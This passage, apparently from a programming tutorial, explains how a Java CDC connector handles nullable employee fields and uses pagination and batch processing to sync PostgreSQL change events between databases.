    &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;salary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"salary"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salary&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;salary&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isNull&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setNull&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parameterIndex&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Types&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;NUMERIC&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;salary&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decimalValue&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setBigDecimal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parameterIndex&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The logic is similar to the department handling, but there is an important difference in the Java data type.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Retrieves the &lt;code&gt;salary&lt;/code&gt; field from the JSON employee data.&lt;/li&gt;
&lt;li&gt;Checks whether the field is missing or contains a JSON NULL value.&lt;/li&gt;
&lt;li&gt;If the value is NULL, sets the SQL parameter to NULL using &lt;code&gt;Types.NUMERIC&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Otherwise, converts the JSON numeric value into a Java &lt;code&gt;BigDecimal&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;PreparedStatement.setBigDecimal()&lt;/code&gt; to pass the salary to PostgreSQL.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Why use BigDecimal for salary?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The PostgreSQL salary column is defined as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;salary&lt;/span&gt; &lt;span class="nb"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Java's &lt;code&gt;BigDecimal&lt;/code&gt; is suitable for handling decimal values because it provides decimal precision without the binary floating-point representation issues associated with &lt;code&gt;float&lt;/code&gt; and &lt;code&gt;double&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is particularly useful when processing financial or monetary values.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Why Handle NULL Values Explicitly?
&lt;/h4&gt;

&lt;p&gt;In our source database, the &lt;code&gt;department&lt;/code&gt; and &lt;code&gt;salary&lt;/code&gt; columns allow NULL values.&lt;/p&gt;

&lt;p&gt;Therefore, the CDC connector must preserve those NULL values when synchronizing employee records.&lt;/p&gt;

&lt;p&gt;JDBC provides the &lt;code&gt;PreparedStatement.setNull()&lt;/code&gt; method to explicitly bind SQL NULL values to prepared statement parameters.&lt;/p&gt;

&lt;p&gt;The implementation uses the appropriate SQL types:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;JDBC SQL type&lt;/th&gt;
&lt;th&gt;Java value handling&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;department&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Types.VARCHAR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;String&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;salary&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Types.NUMERIC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BigDecimal&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This ensures that nullable employee fields are correctly represented in the destination database.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this subsection, we examined how the connector handles nullable employee fields.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implemented &lt;code&gt;setDepartment()&lt;/code&gt; to handle nullable VARCHAR values.&lt;/li&gt;
&lt;li&gt;Implemented &lt;code&gt;setSalary()&lt;/code&gt; to handle nullable NUMERIC values.&lt;/li&gt;
&lt;li&gt;Used &lt;code&gt;PreparedStatement.setNull()&lt;/code&gt; to explicitly bind SQL NULL values.&lt;/li&gt;
&lt;li&gt;Used &lt;code&gt;BigDecimal&lt;/code&gt; to preserve decimal precision when processing salary values.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With these helper methods, the Java CDC connector can correctly handle employee records containing NULL department or salary values.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Batch Processing and Pagination
&lt;/h2&gt;

&lt;p&gt;In the previous section, we implemented the Java CDC connector to retrieve events from the source database and apply the corresponding changes to the destination database.&lt;/p&gt;

&lt;p&gt;However, processing a large number of CDC events individually can result in unnecessary database queries and transaction overhead.&lt;/p&gt;

&lt;p&gt;To improve processing efficiency, our implementation uses two techniques:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pagination:&lt;/strong&gt; Retrieves CDC events from the source database in manageable groups.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Batch Processing:&lt;/strong&gt; Applies multiple CDC events to the destination database within a single transaction.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These two mechanisms are controlled by separate configuration parameters: &lt;code&gt;cdc.fetch.size&lt;/code&gt; and &lt;code&gt;cdc.batch.size&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.1 Understanding Fetch Size and Batch Size
&lt;/h3&gt;

&lt;p&gt;Our connector uses the following configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.fetch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;4&lt;/span&gt;
&lt;span class="py"&gt;cdc.batch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's understand the difference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fetch Size&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The fetch size determines the maximum number of CDC events retrieved from the source database in a single SQL query.&lt;/p&gt;

&lt;p&gt;In our implementation, this value is used with the SQL &lt;code&gt;LIMIT&lt;/code&gt; clause:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example, with &lt;code&gt;cdc.fetch.size=4&lt;/code&gt;, each query retrieves at most four CDC events.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Batch Size&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The batch size determines how many retrieved events are applied to the destination database within one transaction.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;cdc.batch.size=3&lt;/code&gt;, the connector processes up to three events in each destination transaction.&lt;/p&gt;

&lt;p&gt;The difference can be summarized as follows:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.fetch.size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maximum events retrieved per source query&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.batch.size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maximum events processed per destination transaction&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Keeping these parameters separate allows us to control source-side retrieval and destination-side transaction sizes independently.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Implementing Pagination
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;processAvailableEvents()&lt;/code&gt; method implements pagination by repeatedly querying the source &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;The relevant SQL query is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector supplies the query parameters using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CDC_FETCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query retrieves events whose IDs are greater than the last successfully processed event ID, in ascending order.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;LIMIT&lt;/code&gt; clause restricts each query to the configured fetch size.&lt;/p&gt;

&lt;p&gt;After processing the retrieved events, the connector executes the query again to retrieve the next page.&lt;/p&gt;

&lt;p&gt;The relevant loop is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Retrieve the next page of CDC events.&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Process the retrieved events.&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loop continues until the query returns no additional events.&lt;/p&gt;

&lt;p&gt;This allows the connector to process more events than can be retrieved in a single query.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 Implementing Batch Processing
&lt;/h3&gt;

&lt;p&gt;After retrieving a page of CDC events, the connector divides the events into smaller batches using the configured &lt;code&gt;BATCH_SIZE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The relevant implementation is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;endIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;min&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;subList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endIndex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;processBatchWithRetry&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;batch&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's understand how this works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Iterating Through the Retrieved Events&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loop processes the retrieved events in groups determined by &lt;code&gt;BATCH_SIZE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For a batch size of 3, the starting index advances by three positions during each iteration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Calculating the Batch Boundary&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;endIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;min&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This calculates the ending index of the current batch.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;Math.min()&lt;/code&gt; method ensures that the ending index never exceeds the number of available events.&lt;/p&gt;

&lt;p&gt;This is important when the final batch contains fewer events than the configured batch size.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Creating the Batch&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;subList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endIndex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;subList()&lt;/code&gt; method creates a view of the retrieved events representing the current batch.&lt;/p&gt;

&lt;p&gt;The connector then passes this batch to &lt;code&gt;processBatchWithRetry()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Processing the Batch&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;processBatchWithRetry&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;batch&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This method applies the employee changes to the destination database and manages the destination transaction.&lt;/p&gt;

&lt;p&gt;We will examine its transaction handling and retry mechanism in Section 8.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Updating the Local Processing Position&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the batch-processing method returns successfully, the connector updates its local processing position to the event ID of the last event in that batch.&lt;/p&gt;

&lt;p&gt;This value is used when retrieving subsequent events.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.4 Understanding Pagination and Batch Processing Together
&lt;/h3&gt;

&lt;p&gt;Let's consider an example using the configuration from our demonstration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.fetch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;4&lt;/span&gt;
&lt;span class="py"&gt;cdc.batch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Assume that eight CDC events are available, with event IDs from 1 through 8.&lt;/p&gt;

&lt;p&gt;The connector processes them as follows:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First page&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The source query retrieves four events:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Events: 1, 2, 3, 4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a batch size of 3, these events are divided into:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Batch&lt;/th&gt;
&lt;th&gt;Events&lt;/th&gt;
&lt;th&gt;Events per transaction&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Batch 1&lt;/td&gt;
&lt;td&gt;1, 2, 3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Batch 2&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After both batches are successfully processed, the local processing position becomes event ID 4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second page&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The connector executes the source query again using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The next four events are retrieved:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Events: 5, 6, 7, 8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They are divided into:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Batch&lt;/th&gt;
&lt;th&gt;Events&lt;/th&gt;
&lt;th&gt;Events per transaction&lt;/th&gt;
